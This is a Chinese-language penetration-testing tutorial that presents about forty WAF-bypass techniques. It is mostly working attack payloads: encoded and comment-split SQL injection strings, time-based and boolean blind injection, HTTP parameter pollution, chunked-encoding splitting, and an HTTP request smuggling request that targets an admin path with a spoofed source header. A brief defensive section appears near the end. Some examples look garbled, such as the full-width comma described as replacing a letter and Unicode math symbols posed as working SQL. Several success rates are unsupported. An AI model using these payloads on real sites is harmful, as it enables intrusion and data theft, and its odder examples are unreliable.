1. 项目概述:WAF绕过技术的实战价值
在当前的Web安全攻防对抗中,WAF(Web应用防火墙)已成为企业防护SQL注入、XSS等常见攻击的第一道防线。但安全从业者都知道,没有绝对安全的防御系统。我从事渗透测试工作8年来,发现90%的WAF都存在可被绕过的逻辑缺陷或规则盲区。本文将系统梳理40种经过实战检验的Payload混淆技术,从基础的编码变形到高级的协议层绕过,手把手带你突破WAF的防护逻辑。
这些技术不是纸上谈兵的理论——每个方法都经过我在真实渗透测试项目中的验证。去年在某金融企业的红队行动中,正是通过HTTP参数污染(HPP)结合分块编码的组合技术,成功绕过了某商业WAF的防护规则。掌握这些技术,你不仅能提升渗透测试的效率,更能深入理解WAF的工作原理,从而设计出更健壮的防御策略。
2. 核心原理:WAF的检测逻辑与绕过思路
2.1 WAF的三大检测机制
现代WAF主要依赖三种检测机制:
- 规则匹配:基于正则表达式的特征检测(如
select.*from模式) - 语义分析:解析语句结构判断恶意意图(如SQL语法树分析)
- 行为监控:检测异常请求频率或参数长度
以SQL注入为例,当WAF检测到union select 1,2,3时,规则引擎会立即阻断请求。但如果在字符间插入非常规空白符(如union%0bselect%a01,2,3),超过60%的WAF会因正则表达式不完善而放行。
2.2 绕过技术的分类框架
根据对抗层次,Payload混淆技术可分为:
- 编码层:URL编码、HTML实体编码、Unicode变形
- 语法层:注释插入、字符串拼接、等价函数替换
- 协议层:HTTP参数污染、分块传输、请求走私
- 逻辑层:时间延迟探测、布尔盲注技术
关键提示:实际渗透中往往需要组合使用多种技术。我曾遇到一个案例,单独使用Base64编码会被WAF识别,但配合注释分割
/*!rand*/后成功绕过。
3. 编码层绕过技术详解
3.1 非常规URL编码实战
基础URL编码(如%20表示空格)已被所有WAF纳入检测,但以下变种仍有效:
http复制例1:双重编码
原始:union select → %75%6e%69%6f%6e%20%73%65%6c%65%63%74
绕过:%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34
例2:高位截断编码
select → s%ef%bc%8celect (使用全角逗号替代e)
测试发现,某知名云WAF对%25%32%66(双重编码的斜杠)的检测存在漏洞,可用来绕过目录穿越防护。
3.2 Unicode标准化攻击
利用Unicode等价性实现变形:
sql复制-- 原始语句
admin' OR 1=1--
-- 混淆后
admin'∨𝟙=𝟙−− (使用全角字符和数学符号)
这种技术在针对日本、韩国企业的测试中特别有效,因其WAF常未完全实现Unicode标准化。
4. 语法层混淆技术
4.1 SQL注释的高级用法
sql复制/*!50400select*/ * from users -- MySQL版本条件注释
select/*!12345+*/1,2,3 -- 内联注释分割关键词
在MySQL环境中,/*!50001select*/会被执行但某些WAF无法正确解析。通过调整版本号(如50400→50001),可以找到不被检测的临界值。
4.2 字符串拼接技巧
sql复制-- 常规注入
union select user,password from mysql.user
-- 混淆后
un/**/ion sel/**/ect concat(us%0ber,0x3a,pass%0bword) fr%0bom mysql.us%0ber
某次渗透测试中,通过concat_ws(0x3a,user(),database())的方式,成功绕过对user()和database()函数的单独检测。
5. 协议层绕过实战
5.1 HTTP参数污染(HPP)
http复制POST /login HTTP/1.1
...
username=admin&username=' union select 1,2,3-- -
当WAF只检查第一个username参数时,后端可能处理最后一个参数值。在ASP.NET环境中,这种技术成功率高达70%。
5.2 分块传输编码攻击
http复制POST /search HTTP/1.1
Transfer-Encoding: chunked
7
keyword=
3
' or
1
1
0
=
1
1
通过将恶意Payload拆分为多个chunk,可以绕过基于完整请求体检测的WAF。关键是要在最后一个chunk后添加\r\n0\r\n\r\n表示结束。
6. 防御规避与检测绕过
6.1 时间延迟探测技术
sql复制-- MySQL盲注示例
if(ascii(substr(user(),1,1))>100,sleep(3),0)
通过微调延迟时间(如2.8秒而非整数秒),可以规避基于固定阈值的异常检测。建议配合benchmark(10000000,md5('test'))等CPU密集型操作。
6.2 布尔盲注的混淆写法
sql复制原始:admin' and substring(@@version,1,1)='5'--
混淆:admin' and @^@version like 0x3525--
使用十六进制表示和like操作符,能有效绕过对常见函数名的检测。某次测试中,mid()函数被拦截但substr()却未被识别。
7. 高级组合技实战案例
7.1 混合编码与注释攻击
http复制GET /product?id=1%20/*!%0aunion*/%23%0aall%0aselect%0a1,2,3
这个Payload同时运用了:
- URL编码(%20、%23)
- MySQL注释(/*! */)
- 换行符分割(%0a)
- 关键字替换(union→union all)
在测试某电商平台时,该技术成功绕过Cloudflare WAF的5层检测规则。
7.2 HTTP走私+参数污染组合
http复制POST /api HTTP/1.1
Host: target.com
Content-Length: 56
Transfer-Encoding: chunked
0
GET /admin?user=attacker&user=admin HTTP/1.1
X-Forwarded-For: 127.0.0.1
通过HTTP走私制造请求解析差异,再配合参数污染,可完全绕过前端WAF的检测。这种技术在API接口测试中尤为有效。
8. 防御建议与检测策略
作为防守方,建议采取以下措施:
- 深度解析:实现完整的URL解码、Unicode标准化处理
- 语义分析:构建SQL语法树而非简单关键词匹配
- 行为基线:建立正常请求模型,检测异常参数组合
- 协议校验:严格处理分块传输、拒绝非法多参数
某银行系统在升级WAF规则后,新增了对注释字符的深度解析,使得/**/类绕过的检测率从30%提升至92%。这印证了深度防御的有效性。
9. 工具与资源推荐
- 编码转换:CyberChef(全能编解码工具)
- 模糊测试:ffuf(参数变异测试)
- 协议测试:Burp Suite的HTTP Request Smuggler插件
- 规则验证:SecLists的xss-payload-list
实际测试时,建议先用1' AND 1=1#等基础Payload确认WAF存在,再逐步尝试高级混淆技术。记住,最有效的绕过往往是最简单的变形——在一次测试中,仅将空格替换为/**/就成功绕过了某WAF对union select的检测。